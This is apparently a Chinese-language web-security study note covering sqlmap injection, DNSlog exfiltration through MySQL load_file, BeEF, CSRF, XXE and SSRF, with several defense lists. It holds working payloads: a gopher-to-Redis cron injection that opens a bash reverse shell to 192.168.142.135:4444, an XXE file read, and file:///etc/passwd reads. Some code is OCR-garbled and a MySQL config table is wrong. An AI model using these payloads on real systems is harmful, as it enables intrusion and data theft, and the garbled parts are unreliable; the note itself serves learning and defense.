1、漏洞分类与分级(数据库)
1.1 权威平台
- 国家信息安全漏洞库(CNNVD) http://www.cnnvd.org.cn/
- 国家信息安全漏洞共享平台(CNVD) https://www.cnvd.org.cn/
- 国家工业信息安全漏洞库(CICSVD) https://www.cics-vd.org.cn/
- CVE http://cve.mitre.org
1.2 企业
- https://www.butian.net/ 奇安信
- https://www.vulbox.com/ 漏洞盒子
- http://www.nsfocus.net 绿盟(引用CVE)
- https://www.exploit-db.com/ Kali公司
1.3 SRC
http://0xsafe.org
2、sql注入(DNSlog)

sqlmap
- sqlmap -u "url/?id=1" --current-db
- sqlamp -u "url/?id=1" --level=num --risk=num --dbs
- sqlamp -u "url/?id=1" --level=num --risk=num --dbms=mysql -D "xxx" --tables
- sqlamp -u "url/?id=1" --level=num --risk=num --dbms=mysql -D "xxx" -T "xxx" --col
- sqlamp -u "url/?id=1" --level=num --risk=num --dbms=mysql -D "xxx" -T "xxx" -C"xxx" --dump
sqlmap -hh
2.1 DNSlog平台
ceye.io
2.2 UNC(windows)
Universal Naming Convention
规定了文件统一的命名格式
2.3 Mysql中的secure_file_priv
| 配置值 | 描述 |
| 指定文件 | 导入导出只能发生在指定的文件夹 |
| 不设置 | 不准许执行 |
| null | 没有任何限制 |
2.3.1 Mysql读写文件
select LOAD_FILE('E:\\in.txt')
select jinyouqian INTO OUTFILE 'E:\\out.txt";
2.4 流程
1.把select LOAD_FILE()注入到数据库,访问文件
2.UNC构建DNS服务器地址,假装访问文件。 产生DNSlog
select load_file('a.yourid.ceye.io/jinyouxin'); 是转义功能
3.把子域名替换成函数或者是查询SQL
if((select load_file(concat('',database(),'.yourid.ceye.io/jinyiuxin'))),1,0) 黑体处拼接SQL语句
2.5 CEYE平台
| 注册 | https://sso.telnet404.com/accounts/register/ |
| 查看ID和Token | CEYE - Monitor service for security testing |
| 查看DNSLog记录 | CEYE - Monitor service for security testing |
2.6 DNSlog注入脚本(sqlmap类似)

3.XSS
3.1 kali中启动beef-xss

(username = beef ; password = you set )
3.1.1 The Browser Exploitation Framework
- https://beefproject.com/
- https://github.com/beefproject/beef/wiki/
(找时间专门写一个beef的使用)
4、CSRF
Cross-Site Request Forgery
第三方网站利用被攻击网站生效的cookie,直接对服务器接口发起请求
4.1 和XSS区别
- 有没有第三方的网站
- 能不能获取到明文cookie
- 是否需要注入代码到别人的网站
4.2 CSRF挖掘
(1)怎么确定一个接口地址有没有CSRF漏洞呢? 从第三方网站直接调用接口可以成功
(2)具体怎么对一个接口进行检测,确定是不是存在CSRF漏洞呢?抓取正常通信请求的数据包,再请求一次
(3)有没有自动检测CSRF漏洞的工具呢?
BurpSuite ->Send To ->Enagement tools ->Generate CSRF PoC
CSRFTester
https://github.com/s0md3v/Bolt
https://cloud.tencent.com/product/vss
4.3 CSRF防御
4.3.1 HTTP Requst Header
Referer :引用页;来源页面
functon: 跟踪来源,比如访问统计
看请求头是否一致

但是在BP下request可以更改referer的url,故可攻破
4.3.2 Token

- 当用户正确的登入后,服务器下发 一个随机的token字段给客户端,并且把token字段保存在session中。
- 客户端把这个token保存起来,放到隐藏字段里面。
- 用户在登入状态下,在之后访问的时候,都要携带这个token字段。
- 服务端从seesion 中拿出token值进行比对,如果一致,则请求合法。
- 用户退出,则session失效,token销毁
4.4 二次认证
- 验证码
- 短信
- 扫码
- 人脸识别
- DVWA-Impossible
5.XXE
5.1 XML基础知识
eXtensible Markup Language (可扩展标记语言)
5.1.1 用途
1.通信
2. 配置文件
5.1.2 内容

格式要求
- XML文档必须有根元素
- XML文档必须有关闭标签
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性必须加引号
5.1.3 校验方法
DTD( Document Type Definiton)
元素(element)
语法:
<!ELEMENT element-name category>
或
<!ELEMENT element-name (element-content)>eg:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>实体(entity)
1.内部实体
语法:
<!ENTITY entity-name "entity-value">
eg:
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例:
<author>&writer;©right;</author>2.外部实体
语法:
<!ENTITY entity-name SYSTEM "URI/URL">
eg:
DTD 实例:(声明)
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML example:(引用)
<author>&writer;©right;</author>
外部引用协议
实例
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>
<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!-- 第三部分文档元素 --><note>
<to>Dave</to>
<from>GiGi</from>
<head>Reminder</head>
<body>fish together</body>
</note>
5.2 什么是XXE
XML External Entity Injection
如果Web应用的脚本代码没有限制XML引入外部 实体,从而导致用户可以插入一个 外部实体 ,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口 探测、攻击内网网站等危害。
5.3 XXE利用方式
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

5.4 演示

<?xml version = "1.0"?>
<!DOCTYPE test [ <!ENTITY hacker "xiaowei">]>
<name>&hacker;</name>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [<!ENTITY xxe SYSTEM"file:///C:/Windows/system.ini">]>
<name>&xxe;</name>
I
6.SSRF
SSRF (Server-Side Request Forgery)服务器端请求伪造:是一种由攻击者构造形成 由 服务端 发起请求的一个安全漏洞。
function cur1($ur1){
$ ch = curL _ init ();
//设置 URL 和相应的选项
curL _ setopt ($ ch , CURLOPT _ URL ,$ url );
curL _ setopt ($ ch , CURLOPT _ HEADER ,);
//抓取 URL 并把它传递给浏览器
curL _ exec ($ ch );
//关闭 cURL 资源,并且释放系统资源 curL _ close ($ ch );
$ url =$_ GET [' url '];
curl ($ url );
? >
1. php curl用途
- 获取网页资源——爬虫
- webservice——获取接口数据
- FTP——下载文件
localhost / ssrf /ssrf1.php? url = www . baidu . com 即可访问到百度
6.1 可能引起SSRF漏洞
| 函数 | 作用 |
|
curl_exec()
|
执行 cURL 会话
|
|
file_get_contents()
|
将整个文件读入一个字符串
|
|
fsockopen()
|
打开一个网络连接或者一个Unix套 接字连接
|
6.2 CURL其他协议
| 协议 | 作用 | payload |
|
file
|
查看协议 |
curl -v 'file:///etc/passwd'
|
|
dict
|
探测端口
|
http://localhost/ssrf/ssrf1.php?
url=dict://127.0.0.1:3306
|
|
gopher
|
反弹shell
|
curl -v
'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
|
补充:
- dict协议:用于搭建在线字典服务
- gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代
6.3 危害(利用方式)
1、扫描资产2、获取敏感信息3、攻击内网服务器(绕过防火墙)4、访问大文件,造成溢出5、通过Redis写入WebShell或建立反弹连接
6.4 实际案例
1、Wordpress 3.5.1以下版本 xmlrpc.php pingback的缺陷与SSFR2、discuz!的SSRF(利用php的header函数来 绕过,其实就是302跳转实现协议转换)3、weblogic的SSRF
1、爬取地址2、查看是否请求了其他资源也可以用Google语法搜索关键字:share、wap、url、link、src、source、target、u、 3g、display、sourceURL、imageURL、domain
6.5 工具
- https://github.com/cujanovic/SSRF-Testing
- https://github.com/tarunkant/Gopherus
- https://github.com/swisskyrepo/SSRFmap
6.6 防御
- 禁用协议
- 限制请求端口
- 设置URL白名单
- 过滤返回信息
- 统一错误信息




